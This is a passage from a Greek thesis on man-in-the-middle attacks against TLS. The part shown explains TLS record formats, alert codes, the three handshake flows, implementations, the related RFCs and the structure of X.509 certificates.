με επιπλέον υλικό κλειδιου. Το πεδίο αυτό μπορεί να είναι κρυπτογραφημένο, ή να
λείπει τελείως, ανάλογα με την κατάσταση της συνδεσης.
Κανένα MAC ή Padding δεν μπορεί να βρίσκεται στο τέλος των εγγράφων TLS πριν να
ολοκληρωθεί η διαπραγμάτευση όλων των κρυπταλγόριθμων και παραμέτρων με την
αποστολή ενός εγγράφου CipherStateChange (δείτε παρακάτω).
Πρωτοκολλο χειραψίας
Τα περισσότερα μηνυματα που ανταλλάσσονται κατά την εγκαθίδρυση μιας TLS
συνεδρίας βασίζονται σε αυτό το έγγραφο, εκτός αν συμβεί κάποιο σφάλμα ή
προειδοποίηση από το Alert protocol (δείτε παρακάτω).
Πολλαπλά μηνυματα χειραψίας μπορουν να συνυπάρχουν στο ίδιο έγγραφο.
Θεση Περιεχομενο Μήκος σε bytes
0 22 1
1 Εκδοση (major, minor) 2
3 Μήκος 2
5 Τυπος μηνυματος 1
Δημήτρης Μωραϊτης 17
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
6 Μήκος δεδομένων χειραψίας 3
9 Δεδομένα μηνυματος χειραψίας n
9+n Τυπος μηνυματος 1
10+n Μήκος δεδομένων χειραψίας 3
13+n Δεδομένα μηνυματος χειραψίας m
13+n+m ...
Τύπος μηνύματος
Το πεδίο αυτό καθορίζει τον τυπο του μηνυματος και μπορεί να πάρει μία τιμή από τις
παρακάτω.
Τιμή Τύπος
0 HelloRequest
1 ClientHello
2 ServerHello
11 Certificate
12 ServerKeyExchange
13 CertificateRequest
14 ServerHelloDone
15 CertificateVerify
16 ClientKeyExchange
20 Finished
Μήκος δεδομενων χειραψίας
Πεδίο τριων byte που ορίζει το μήκος των δεδομένων της χειραψίας, χωρίς να
υπολογίζεται η κεφαλίδα.
Πρωτοκολλο ειδοποιήσεων
Κατά τη διάρκεια μιας τυπικής συνδεσης δεν ανταλλάσσονται έγγραφα του
πρωτοκόλλου ειδοποιήσεων. Οποιαδήποτε όμως στιγμή, από την έναρξη της χειραψίας
έως το κλείσιμο της συνεδρίας μπορεί να σταλεί μήνυμα με βάση το παρακάτω
έγγραφο. Στην περίπτωση που το επίπεδο ειδοποίησης (alert level) είναι ορισμένο ως
Δημήτρης Μωραϊτης 18
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
τερματικό σφάλμα (fatal error), η συνδεση διακόπτεται αμέσως μετά την αποστολή του
εγγράφου ειδοποίησης. Στην περίπτωση που το επίπεδο ειδοποίησης είναι απλή
προειδοποίηση (warning), η άλλη πλευρά μπορεί να επιλέξει είτε να συνεχίσει κανονικά,
είτε να κλείσει τη συνεδρία αν αποφασίσει ότι δεν είναι πλέον αρκετά αξιόπιστη, με
προαιρετική αποστολή σχετικου μηνυματος.
Θεση Περιεχομενο Μήκος σε bytes
0 21 1
1 Εκδοση (major, minor) 2
3 Μήκος 2
5 Επίπεδο ειδοποίησης 1
6 Περιγραφή 1
7 MAC (προαιρετικά) n
7+n Παραγέμισμα (μόνο σε block ciphers)
p
Επίπεδο ειδοποίησης
Κωδικος Επίπεδο Κατασταση σύνδεσης
1 προειδοποίηση Η συνδεση ή η ασφάλεια ίσως είναι ασταθής
2 σφάλμα Η συνδεση ή η ασφάλεια έχει εκτεθεί, ή έχει συμβεί ανεπανόρθωτο σφάλμα
Περιγραφή
Κωδικος Περιγραφή Επίπεδο Σημείωση
0 Ειδοποίηση διακοπής προειδοποίηση/σφάλμα
10 Απρόσμενο μήνυμα σφάλμα
20 Λανθασμένο MAC εγγράφου
σφάλμα Λάθος υλοποίηση SSL/TLS ή αλλοιωμένο περιεχόμενο μηνυματος.
21 Αποτυχία αποκρυπτογράφησης
σφάλμα TLS only, reserved
22 Υπερχείλιση εγγράφου σφάλμα TLS only
30 Αποτυχία αποσυμπίεσης
σφάλμα
Δημήτρης Μωραϊτης 19
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
40 Αποτυχία χειραψίας σφάλμα
41 Χωρίς πιστοποιητικό προειδοποίηση/σφάλμα
SSL 3.0 only, reserved
42 Κακό πιστοποιητικό προειδοποίηση/σφάλμα
43 Μη υποστηριζόμενο πιστοποιητικό
προειδοποίηση/σφάλμα
π.χ. το πιστοποιητικό έχει ενεργοποιημένη μόνο τη χρήση αυθεντικοποίησης εξυπηρετητή ενω παρουσιάζεται ως πιστοποιητικό πελάτη
44 Ανακληθέν πιστοποιητικό
προειδοποίηση/σφάλμα
45 Ληγμένο πιστοποιητικό προειδοποίηση/σφάλμα
46 Αγνωστο πιστοποιητικό προειδοποίηση/σφάλμα
47 Λάθος παράμετρος σφάλμα
48 Αγνωστη αρχή πιστοποίησης
σφάλμα TLS only
49 Απαγόρευση πρόσβασης
σφάλμα TLS only
50 Σφάλμα αποκωδικοποίησης
σφάλμα TLS only
51 Σφάλμα αποκρυπτογράφησης
προειδοποίηση/σφάλμα
TLS only
60 Περιορισμός εξαγωγής σφάλμα TLS only, reserved
70 Εκδοση πρωτοκόλλου σφάλμα TLS only
71 Ανεπαρκής ασφάλεια σφάλμα TLS only
80 Εσωτερικό σφάλμα σφάλμα TLS only
90 Ακυρωση από το χρήστη
σφάλμα TLS only
100 Χωρίς επαναδιαπραγμάτευση
προειδοποίηση TLS only
110 Μη υποστηριζόμενη επέκταση
προειδοποίηση TLS only
111 Αδυναμία λήψης πιστοποιητικου
προειδοποίηση TLS only
112 Μη αναγνωρισμένο όνομα
προειδοποίηση TLS only. Το όνομα εξυπηρετητή που έχει οριστεί δεν υποστηρίζεται από τον εξυπηρετητή
113 Κακή απάντηση κατάστασης πιστοποιητικου
σφάλμα TLS only
Δημήτρης Μωραϊτης 20
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
114 Λάθος τιμή κατακερματισμου πιστοποιητικου
σφάλμα TLS only
115 ‘Αγνωστη ταυτότητα PSK (χρησιμοποιείται στο TLS-PSK & TLS-SRP)
σφάλμα TLS only
Πρωτοκολλο ChangeCipherSpec
Θεση Περιεχομενο Μήκος σε bytes
0 20 1
1 Εκδοση (major, minor) 2
3 Μήκος 2
5 Τυπος πρωτοκόλλου CCS 1
Τύπος πρωτοκολλου CCS
Για μελλοντική χρήση. Για την ωρα υπάρχει μόνο ένα πρωτόκολλο ChangeCipherSpec.
1.5.1 Πρωτοκολλο εφαρμογής
Θεση Περιεχομενο Μήκος σε bytes
0 23 1
1 Εκδοση (major, minor) 2
3 Μήκος 2
5 Τυπος πρωτοκόλλου CCS 1
Μήκος
Μήκος των δεδομένων εφαρμογής, χωρίς να υπολογίζεται η κεφαλίδα του πρωτοκόλλου
και με συνυπολογισμό του MAC και του παραγεμίσματος
MAC20 bytes για HMAC βασισμένο στον SHA-1, 16 bytes για HMAC βασισμένο στον MD5
Παραγεμισμα
Μεταβλητό μήκος. Το τελευταίο byte περιλαμβάνει το μήκος του παραγεμίσματος.
Δημήτρης Μωραϊτης 21
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
1.6 Χειραψία TLS
Παρακάτω θα εξετάσουμε αναλυτικά 3 σενάρια χειραψίας TLS. Το πιο συνηθες είναι
αυτό της απλής χειραψίας, όπου ο εξυπηρετητής (αλλά όχι ο πελάτης) αυθεντικοποιείται
με χρήση πιστοποιητικου. Στο δευτερο σενάριο ο πελάτης αυθεντικοποιείται και αυτός
με πιστοποιητικό Χ.509. Το τρίτο σενάριο αφορά συνδέσεις TLS όπου έχει ήδη γίνει μια
φορά η διαπραγμάτευση της συνδεσης και η παραγωγή κλειδιων, οπότε μια νέα
συνδεση μπορεί να επαναχρησιμοποιήσει τον κωδικό και τις παραμέτρους της
προηγουμενης συνεδρίας εφόσον και οι δυο πλευρές έχουν το κυριο μυστικό κλειδί
(master secret).
Το TLS προβλέπει και χειραψίες χωρίς καθόλου αυθεντικοποίηση όπου τα κλειδιά
κρυπτογράφησης αποφασίζονται από κοινου με βάση τον αλγόριθμο Diffie Hellman
(DH-ANON). Αυτου του τυπου οι συνεδρίες δεν είναι ανθεκτικές σε επιθέσεις
ενδιάμεσου και δεν υποστηρίζονται από τους περισσότερους εξυπηρετητές.
1.6.1 Απλή χειραψία
1. Φάση διαπραγμάτευσης
Ο πελάτης στέλνει ένα μήνυμα ClientHello ορίζοντας τη μέγιστη έκδοση
του TLS που υποστηρίζει, έναν τυχαίο αριθμό, καθως και μια λίστα με
υποστηριζόμενες σουίτες κρυπταλγορίθμων και μεθόδους συμπίεσης.
Ο εξυπηρετητής απαντά με ένα μήνυμα ServerHello που περιλαμβάνει την
επιλεγμένη έκδοση του TLS, έναν τυχαίο αριθμό, την επιλεγμένη σουίτα
κρυπταλγορίθμων και μέθοδο συμπίεσης, από τις επιλογές που
προσέφερε ο πελάτης. Η έκδοση του TLS που επιλέγεται θα πρέπει να
είναι η μεγαλυτερη δυνατή που υποστηρίζεται και από τον πελάτη και από
τον εξυπηρετητή.
Ο εξυπηρετητής στέλνει ένα μήνυμα Certificate που περιλαμβάνει το
X.509 πιστοποιητικό του
Ο πελάτης απαντά με ένα μήνυμα ClientKeyExchange που μπορεί να
περιέχει ένα PreMasterSecret, ένα δημόσιο κλειδί, ή και τίποτα, ανάλογα
με τον επιλεγμένο κρυπταλγόριθμο. Το PreMasterSecret κρυπτογραφείται
με το δημόσιο κλειδί του πιστοποιητικου εξυπηρετητή.
Ο πελάτης και ο εξυπηρετητής χρησιμοποιουν τις τυχαίες τιμές και το
PreMasterSecret για να υπολογίσουν από κοινου ένα κυριο μυστικό κλειδί
Δημήτρης Μωραϊτης 22
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
(master secret). Ολα τα υπόλοιπα δεδομένα κλειδιου που θα παραχθουν
κατά τη διάρκεια της συνδεσης βασίζονται σε αυτό το κυριο μυστικό το
οποίο τροφοδοτείται σε προσεκτικά σχεδιασμένες ψευδοτυχαίες
συναρτήσεις.
2. Ο πελάτης στέλνει τωρα ένα έγγραφο ChangeCipherSpec που ουσιαστικά
ενημερωνει τον εξυπηρετητή πως οτιδήποτε του πει ο πελάτης από εκείνη τη
στιγμή και έπειτα θα είναι αυθεντικοποιημένο και κρυπτογραφημένο, εφόσον το
πιστοποιητικό εξυπηρετητή περιλαμβάνει παραμέτρους κρυπτογράφησης.
Ο πελάτης στέλνει ένα κρυπτογραφημένο μήνυμα Finished που
περιλαμβάνει μια τιμή κατακερματισμου και ένα MAC για όλα τα
προηγουμενα μηνυματα χειραψίας.
Ο εξυπηρετητής θα αποπειραθεί να αποκρυπτογραφήσει το μήνυμα του
πελάτη και να επαληθευσει την τιμή κατακερματισμου και το MAC. Αν η
επαλήθευση αποτυχει, η διαπραγμάτευση θεωρείται αποτυχημένη και η
συνδεση διακόπτεται.
3. Ο εξυπηρετητής στέλνει ένα έγγραφο ChangeCipherSpec που ουσιαστικά
ενημερωνει τον πελάτη πως οτιδήποτε του πει από αυτό το σημείο και έπειτα θα
είναι αυθεντικοποιημένο και κρυπτογραφημένο εφόσον έχουν διαπραγματευτεί
κρυπτογράφηση.
Ο εξυπηρετητής στέλνει το δικό του αυθεντικοποιημένο και
κρυπτογραφημένο μήνυμα Finished.
Ο πελάτης πραγματοποιεί την ίδια αποκρυπτογράφηση και επαλήθευση
με παραπάνω.
4. Φάση εφαρμογής: η χειραψία ολοκληρωνεται και ενεργοποιείται το πρωτόκολλο
εφαρμογής. Τα μηνυματα εφαρμογής που ανταλλάσσονται ανάμεσα στον πελάτη
και τον εξυπηρετητή θα είναι επίσης αυθεντικοποιημένα και πιθανως
κρυπτογραφημένα ακριβως όπως το μήνυμα Finished.
1.6.2 Χειραψία με αυθεντικοποίηση πελατη
1. Φάση διαπραγμάτευσης
Ο πελάτης στέλνει ένα μήνυμα ClientHello ορίζοντας τη μέγιστη έκδοση
του TLS που υποστηρίζει, έναν τυχαίο αριθμό, καθως και μια λίστα με
υποστηριζόμενες σουίτες κρυπταλγορίθμων και μεθόδους συμπίεσης.
Δημήτρης Μωραϊτης 23
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Ο εξυπηρετητής απαντά με ένα μήνυμα ServerHello που περιλαμβάνει την
επιλεγμένη έκδοση του TLS, έναν τυχαίο αριθμό, την επιλεγμένη σουίτα
κρυπταλγορίθμων και μέθοδο συμπίεσης, από τις επιλογές που
προσέφερε ο πελάτης. Η έκδοση του TLS που επιλέγεται θα πρέπει να
είναι η μεγαλυτερη δυνατή που υποστηρίζεται και από τον πελάτη και από
τον εξυπηρετητή.
Ο εξυπηρετητής στέλνει ένα μήνυμα Certificate που περιλαμβάνει το
X.509 πιστοποιητικό του.
Ο εξυπηρετητής ζητά ένα πιστοποιητικό από τον πελάτη με ένα μήνυμα
CertificateRequest.
Ο εξυπηρετητής στέλνει ένα μήνυμα ServerHelloDone ενημερωνοντας ότι
έχει ολοκληρωσει τη διαπραγμάτευση χειραψίας.
Ο πελάτης απαντά με ένα μήνυμα Certificate που περιλαμβάνει το X.509
πιστοποιητικό του.
Ο πελάτης στέλνει ένα μήνυμα ClientKeyExchange που μπορεί να
περιέχει ένα PreMasterSecret, ένα δημόσιο κλειδί, ή και τίποτα, ανάλογα
με τον επιλεγμένο κρυπταλγόριθμο. Το PreMasterSecret κρυπτογραφείται
με το δημόσιο κλειδί του πιστοποιητικου εξυπηρετητή.
Ο πελάτης στέλνει ένα μήνυμα CertificateVerify που είναι μια υπογραφή
των προηγουμενων μηνυμάτων χειραψίας χρησιμοποιωντας το ιδιωτικό
κλειδί του πιστοποιητικου πελάτη. Η υπογραφή μπορεί να επαληθευτεί με
το δημόσιο κλειδί του πιστοποιητικου πελάτη. Με τον τρόπο αυτό ο
εξυπηρετητής επαληθευει ότι το πιστοποιητικό ανήκει όντως στον πελάτη,
από τη στιγμή που ο τελευταίος έχει πρόσβαση στο ιδιωτικό κλειδί του
πιστοποιητικου.
Ο πελάτης και ο εξυπηρετητής χρησιμοποιουν τις τυχαίες τιμές και το
PreMasterSecret για να υπολογίσουν από κοινου ένα κυριο μυστικό κλειδί
(master secret). Ολα τα υπόλοιπα δεδομένα κλειδιου που θα παραχθουν
κατά τη διάρκεια της συνδεσης βασίζονται σε αυτό το κυριο μυστικό το
οποίο τροφοδοτείται σε προσεκτικά σχεδιασμένες ψευδοτυχαίες
συναρτήσεις.
2. Ο πελάτης στέλνει τωρα ένα έγγραφο ChangeCipherSpec που ουσιαστικά
ενημερωνει τον εξυπηρετητή πως οτιδήποτε του πει ο πελάτης από εκείνη τη
Δημήτρης Μωραϊτης 24
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
στιγμή και έπειτα θα είναι αυθεντικοποιημένο και κρυπτογραφημένο, εφόσον το
πιστοποιητικό εξυπηρετητή περιλαμβάνει παραμέτρους κρυπτογράφησης.
Ο πελάτης στέλνεις ένα κρυπτογραφημένο μήνυμα Finished που
περιλαμβάνει μια τιμή κατακερματισμου και ένα MAC για όλα τα
προηγουμενα μηνυματα χειραψίας.
Ο εξυπηρετητής θα αποπειραθεί να αποκρυπτογραφήσει το μυνημα του
πελάτη και να επαληθευσει την τιμή κατακερματισμου και το MAC. Αν η
επαλήθευση αποτυχει, η διαπραγμάτευση θεωρείται αποτυχημένη και η
συνδεση διακόπτεται.
3. Ο εξυπηρετητής στέλνει ένα έγγραφο ChangeCipherSpec που ουσιαστικά
ενημερωνει τον πελάτη πως οτιδήποτε του πει από αυτό το σημείο και έπειτα θα
είναι αυθεντικοποιημένο και κρυπτογραφημένο εφόσον έχουν διαπραγματευτεί
κρυπτογράφηση.
Ο εξυπηρετητής στέλνει το δικό του αυθεντικοποιημένο και
κρυπτογραφημένο μήνυμα Finished.
Ο πελάτης πραγματοποιεί την ίδια αποκρυπτογράφηση και επαλήθευση
με παραπάνω.
4. Φάση εφαρμογής: η χειραψία ολοκληρωνεται και ενεργοποιείται το πρωτόκολλο
εφαρμογής. Τα μηνυματα εφαρμογής που ανταλλάσσονται ανάμεσα στον πελάτη
και τον εξυπηρετητή θα είναι επίσης αυθεντικοποιημένα και πιθανως
κρυπτογραφημένα ακριβως όπως το μήνυμα Finished.
1.6.3 Σύντομη χειραψία
1. Φάση διαπραγμάτευσης
Ο πελάτης στέλνει ένα μήνυμα ClientHello ορίζοντας τη μέγιστη έκδοση
του TLS που υποστηρίζει, έναν τυχαίο αριθμό, καθως και μια λίστα με
υποστηριζόμενες σουίτες κρυπταλγορίθμων και μεθόδους συμπίεσης. Στο
ίδιο μήνυμα περιλαμβάνεται και αναγνωριστικό της προηγουμενης
συνεδρίας (session id).
Ο εξυπηρετητής απαντά με ένα μήνυμα ServerHello που περιλαμβάνει την
επιλεγμένη έκδοση του TLS, έναν τυχαίο αριθμό, την επιλεγμένη σουίτα
κρυπταλγορίθμων και μέθοδο συμπίεσης, από τις επιλογές που
προσέφερε ο πελάτης. Αν ο εξυπηρετητής δεν αναγνωρίζει το
Δημήτρης Μωραϊτης 25
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
αναγνωριστικό συνεδρίας που έλαβε από τον πελάτη τότε στέλνει το δικό
του αναγνωριστικό συνεδρίας, πράγμα που ενημερωνει τον πελάτη ότι δεν
πρόκειται να πραγματοποιηθεί συντομη χειραψία. Διαφορετικά σε αυτή τη
φάση και τα δυο μέρη έχουν ήδη το κυριο μυστικό κλειδί και τα τυχαία
δεδομένα για να παράξουν τα δεδομένα κλειδιου που θα χρησιμοποιηθουν
σε αυτή τη συνδεση.
2. Ο πελάτης στέλνει τωρα ένα έγγραφο ChangeCipherSpec που ουσιαστικά
ενημερωνει τον εξυπηρετητή πως οτιδήποτε του πει ο πελάτης από εκείνη τη
στιγμή και έπειτα θα είναι αυθεντικοποιημένο και κρυπτογραφημένο, εφόσον το
πιστοποιητικό εξυπηρετητή περιλαμβάνει παραμέτρους κρυπτογράφησης.
Ο πελάτης στέλνεις ένα κρυπτογραφημένο μήνυμα Finished που
περιλαμβάνει μια τιμή κατακερματισμου και ένα MAC για όλα τα
προηγουμενα μηνυματα χειραψίας.
Ο εξυπηρετητής θα αποπειραθεί να αποκρυπτογραφήσει το μυνημα του
πελάτη και να επαληθευσει την τιμή κατακερματισμου και το MAC. Αν η
επαλήθευση αποτυχει, η διαπραγμάτευση θεωρείται αποτυχημένη και η
συνδεση διακόπτεται.
3. Ο εξυπηρετητής στέλνει ένα έγγραφο ChangeCipherSpec που ουσιαστικά
ενημερωνει τον πελάτη πως οτιδήποτε του πει από αυτό το σημείο και έπειτα θα
είναι αυθεντικοποιημένο και κρυπτογραφημένο εφόσον έχουν διαπραγματευτεί
κρυπτογράφηση.
Ο εξυπηρετητής στέλνει το δικό του αυθεντικοποιημένο και
κρυπτογραφημένο μήνυμα Finished.
Ο πελάτης πραγματοποιεί την ίδια αποκρυπτογράφηση και επαλήθευση
με παραπάνω.
4. Φάση εφαρμογής: η χειραψία ολοκληρωνεται και ενεργοποιείται το πρωτόκολλο
εφαρμογής. Τα μηνυματα εφαρμογής που ανταλλάσσονται ανάμεσα στον πελάτη
και τον εξυπηρετητή θα είναι επίσης αυθεντικοποιημένα και πιθανως
κρυπτογραφημένα ακριβως όπως το μήνυμα Finished.
1.7 Υλοποιήσεις
Τα TLS και SSL έχουν υλοποιηθεί σε ευρεία κλίμακα από μια σειρά ανεξάρτητων έργων.
Τα Microsoft Windows έρχονται με δική τους υλοποίηση, ενω οι προγραμματιστές
Δημήτρης Μωραϊτης 26
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
μπορουν να χρησιμοποιουν και κάποιες από τις παρακάτω υλοποιήσεις
ελευθερου/ανοικτου λογισμικου.
OpenSSL
υλοποίηση ελευθερου λογισμικου σε C (άδεια τυπου BSD με επεκτάσεις, όχι
συμβατή με GPL)
GnuTLS
υλοποίηση ελευθερου λογισμικου σε C (άδεια LGPL)
cryptlib
φορητή κρυπτογραφική βιβλιοθήκη ελευθερου λογισμικου σε C - περιλαμβάνει
υλοπόηση του TLS/SSL (GPL compatibe)
JSSE
υλοποίηση σε Java που περιλαμβάνεται στο Java Runtime Environment
Network Security Services (NSS):
ανοικτή βιβλιοθήκη, πιστοποιημένη κατά το FIPS 140
PolarSSL
Μικρή υλοποίηση για ενσωματωμένες συσκευές με έμφαση στην ευχρηστία
CyaSSL
Ενσωματωμένη βιβλιοθήκη με έμφαση στην ταχυτητα και το μέγεθος
TLSLite
Yλοποίηση SSLv3/TLS1.0/TLS1.1 σε Python. Δείτε περισσότερα παρακάτω,
στην ενότητα “εργαλεία που αναπτυχθηκαν”
1.8 Προτυπα
Η τρέχουσα εγκεκριμένη έκδοση του TLS είναι ή 1.2 που περιγράφεται στο:
RFC 5246: “The Transport Layer Security (TLS) Protocol Version 1.2”
Το τρέχον πρότυπο αντικαθιστά τις παρακάτω προηγουμενες εκδόσεις που πλέον θεωρουνται παρωχημένες:
RFC 2246: “The TLS Protocol Version 1.0”.
RFC 4346: “The Transport Layer Security (TLS) Protocol Version 1.1”.
Δημήτρης Μωραϊτης 27
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
καθως και το SSL 3.0 που ποτέ δεν προτυποποιήθηκε:
RFC 6101: “The Secure Sockets Layer (SSL) Protocol Version 3.0”.
Κάποια RFC επεκτείνουν το TLS.Στις επεκτάσεις του TLS 1.0 περιλαμβάνονται τα:
RFC 2595: “Using TLS with IMAP, POP3 and ACAP”. Ορίζει μια επέκταση στις υπηρεσίες IMAP, POP3 και ACAP που επιτρέπουν στον πελάτη και τον εξυπηρέτη να χρησιμοποιήσουν το TLS.
RFC 2712: “Addition of Kerberos Cipher Suites to Transport Layer Security (TLS)”.
RFC 2817: “Upgrading to TLS Within HTTP/1.1”, επεξηγεί τη χρήση του μηχανισμου αναβάθμισης του HTTP/1.1 για την έναρξη του TLS σε μια υπάρχουσα συνδεση TCP. Αυτό επιτρέπει την χρήση της ίδιας πόρτας για το απλό και το ασφαλές HTTP, δηλαδή της πόρτας 80 αντί για την 443 του https.
RFC 2818: “HTTP Over TLS”, διαχωρίζει την ασφαλή από την ανασφαλή συνδεση μέσω της χρήσης διαφορετικής πόρτας.
RFC 3207: “SMTP Service Extension for Secure SMTP over Transport Layer Security”. Ορίζει μια επέκταση της υπηρεσίας SMTP που επιτρέπει σε έναν πελάτη και έναν εξυπηρετητή SMTP να χρησιμοποιήσουν TLS.
RFC 3268: “AES Ciphersuites for TLS”. Προσθέτει σουίτες κρυπταλγορίθμων AES στους ήδη υπάρχοντες συμμετρικους κρυπταλγορίθμους.
RFC 3546: “Transport Layer Security (TLS) Extensions”, προσθέτει ένα μηχανισμό για τη διαπραγμάτευση επεκτάσεων του πρωτοκόλλου κατά τη διάρκεια αρχικοποίησης της συνεδρίας. Εχει καταστεί παρωχημένο από το RFC 4366.
RFC 3749: “Transport Layer Security Protocol Compression Methods”, ορίζει ένα πλαίσιο για μεθόδους συμπίεσης και την μέθοδο συμπίεσης DEFLATE.
RFC 3943: “Transport Layer Security (TLS) Protocol Compression Using Lempel-Ziv-Stac (LZS)”.
RFC 4132: “Addition of Camellia Cipher Suites to Transport Layer Security (TLS)”.
RFC 4162: “Addition of SEED Cipher Suites to Transport Layer Security (TLS)”.
Δημήτρης Μωραϊτης 28
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
RFC 4217: “Securing FTP with TLS”.
RFC 4279: “Pre-Shared Key Ciphersuites for Transport Layer Security (TLS)”, προσθέτει τρία σετ από νέες σουίτες κρυπταλγορίθμων στο TLS για την υποστήριξη αυθεντικοποίησης βασισμένη σε προμοιρασμένα κλειδιά.
Στις επεκτάσεις του TLS 1.1 περιλαμβάνονται τα:
RFC 4347: “Datagram Transport Layer Security” ορίζει μια έκδοση του TLS που λειτουργεί πάνω από πρωτόκολλα datagram όπως το UDP.
RFC 4366: “Transport Layer Security (TLS) Extensions” περιγράφει τόσο ένα συνολο από συγκεκριμένες επεκτάσεις, όσο και ένα γενικό μηχανισμό επέκτασης.
RFC 4492: “Elliptic Curve Cryptography (ECC) Cipher Suites for Transport Layer Security (TLS)”.
RFC 4507: “Transport Layer Security (TLS) Session Resumption without Server-Side State”.
RFC 4680: “TLS Handshake Message for Supplemental Data”.
RFC 4681: “TLS User Mapping Extension”.
RFC 4785: “Pre-Shared Key (PSK) Ciphersuites with NULL Encryption for Transport Layer Security (TLS)”.
RFC 5054: “Using the Secure Remote Password (SRP) Protocol for TLS Authentication”. Defines the TLS-SRP ciphersuites.
RFC 5081: “Using OpenPGP Keys for Transport Layer Security (TLS) Authentication”, obsoleted by RFC 6091.
Στις επεκτάσεις του TLS 1.2 περιλαμβάνονται τα:
RFC 5746: “Transport Layer Security (TLS) Renegotiation Indication Extension”.
RFC 5878: “Transport Layer Security (TLS) Authorization Extensions”.
RFC 6091: “Using OpenPGP Keys for Transport Layer Security (TLS) Authentication“.
RFC 6176: “Prohibiting Secure Sockets Layer (SSL) Version 2.0”.
Δημήτρης Μωραϊτης 29
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
RFC 6209: “Addition of the ARIA Cipher Suites to Transport Layer Security (TLS)”.
Δημήτρης Μωραϊτης 30
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
2. X.509
2.1 Περιγραφή
Το Χ.509 είναι ένα πρότυπο για υποδομή δημόσιου κλειδιου (PKI) και υποδομή
διαχείρισης δικαιωμάτων (PMI). Το X.509 ορίζει μεταξυ άλλων το φορμά πιστοποιητικων
δημόσιου κλειδιου καθως και έναν αλγόριθμο επαλήθευσης μονοπατιου πιστοποίησης.
Χρησιμοποιείται για αυθεντικοποίηση από τα TLS/SSL, IPsec, και άλλα κρυπτογραφικά
πρωτόκολλα.
Το X.509 ορίζει ένα αυστηρά ιεραρχικό συστημα από Αρχές Πιστοποίησης (CA) οι
οποίες εκδίδουν πιστοποιητικά, σε αντίθεση με μοντέλα Web Of Trust, όπως για
παράδειγμα το PGP, όπου οποιοσδήποτε μπορεί να υπογράψει άρα και να εγγυηθεί την
εγκυρότητα πιστοποιητικων τρίτων. Ενα πιστοποιητικό συνδέει ένα δημόσιο κλειδί με
κάποιο συγκεκριμένο όνομα.
Το X.509 επιτρέπει τη δημιουργία συστημάτων όπου τα δημόσια κλειδιά και τα ονόματα
των μελων υπογράφονται από Αρχές Πιστοποίησης (CA) κοινής εμπιστοσυνης, έτσι
ωστε αν έχεις κάποιο συγκεκριμένο ιδιωτικό κλειδί, τα υπόλοιπα μέλη μπορουν να
επαληθευσουν την ταυτότητά σου μέσω του σχετικου πιστοποιητικου.
Σε έναν οργανισμό που υλοποιεί το X.509, τα έμπιστα πιστοποιητικά ρίζας (root
certificates) διαμοιράζονται σε όλα τα μέλη ωστε να μπορουν να χρησιμοποιουν το PKI
του οργανισμου. Στην περίπτωση του παγκόσμιου ιστου, όλες οι εφαρμογές πλοήγησης
(Internet Explorer, Firefox, Opera, Safari, Chrome) έρχονται με μια προεγκατεστημένη
λίστα έμπιστων πιστοποιητικων ρίζας.
Μπορουμε να παραλληλίσουμε το X.509 με το συστημα διαβατηρίων. Τα
υπογεγραμμένα πιστοποιητικά αντιστοιχουν σε διαβατήρια, οι Αρχές Πιστοποίησης στα
κράτη που εκδίδουν διαβατήρια για τους πολίτες τους, το δημόσιο κλειδί μας στη
φωτογραφία που εμφανίζεται στο διαβατήριο, το Subject name στο όνομά μας και το
ιδιωτικό κλειδί στο πρόσωπό μας. Αυτό που τελικά επιτυγχάνει το X.509 είναι αντίστοιχο
με αυτό που επιτυγχάνουν τα διαβατήρια. Μια διαβεβαίωση ότι η Αρχή Πιστοποίησης
που υπογράφει το πιστοποιητικό, αναγνωρίζει τον κάτοχο του συγκεκριμένου ιδιωτικου
κλειδιου, με το όνομα που αναφέρεται στο πιστοποιητικό.
Δημήτρης Μωραϊτης 31
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
2.2 Πιστοποιητικα
Τα πιστοποιητικά X.509 περιγράφονται μέσω της γλωσσας ASN.1 και ακολουθουν την
παρακάτω δομή.
Πιστοποιητικό
Εκδοση
Σειριακός αριθμός
Αναγνωριστικό αλγορίθμου
Εκδότης
Διάρκεια
Οχι πριν από
Οχι μετά από
Υποκείμενο (subject)
Πληροφορίες δημοσίου κλειδιου υποκειμένου
Αλγόριθμος δημοσίου κλειδιου
Δημόσιο κλειδί
Αναγνωριστικό εκδότη (προαιρετικό)
Αναγνωριστικό υποκειμένου (προαιρετικό)
Επεκτάσεις (προαιρετικό)
…
Αλγόριθμος υπογραφής πιστοποιητικου
Υπογραφή πιστοποιητικου
Οι επεκτάσεις, ορίζουν τους τρόπους με τους οποίους μπορεί να χρησιμοποιηθεί το
πιστοποιητικό. Οι πιο συνηθισμένες, όπως ορίζονται στην ενότητα 4.2.1 του RFC 5280
είναι οι:
Basic Constraints, id-ce 19 , ορίζει κατά πόσο το πιστοποιητικό ανήκει σε μία
Αρχή Πιστοποίησης
Key Usage, id-ce 15 , παρέχει ένα χάρτη bit που ορίζει τις κρυπτογραφικές
ενέργειες που μπορουν να πραγματοποιηθουν με το δημόσιο κλειδί που ορίζεται
στο πιστοποιητικό. Για παράδειγμα μπορεί να ορίζει ότι το κλειδί μπορεί να
χρησιμοποιηθεί για υπογραφές αλλά όχι για κρυπτογράφηση
Extended Key Usage, id-ce 37 , χρησιμοποιείται συνήθως σε ένα
πιστοποιητικό φυλλο για να ορίσει το σκοπό του δημόσιου κλειδιου που
εμπεριέχεται στο πιστοποιητικό. Περιέχει μια λίστα από OIDs, καθένα από τα
οποία αντιστοιχεί σε μια έγκυρη περίπτωση χρήσης. Για παράδειγμα το id-pkix 3
Δημήτρης Μωραϊτης 32
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
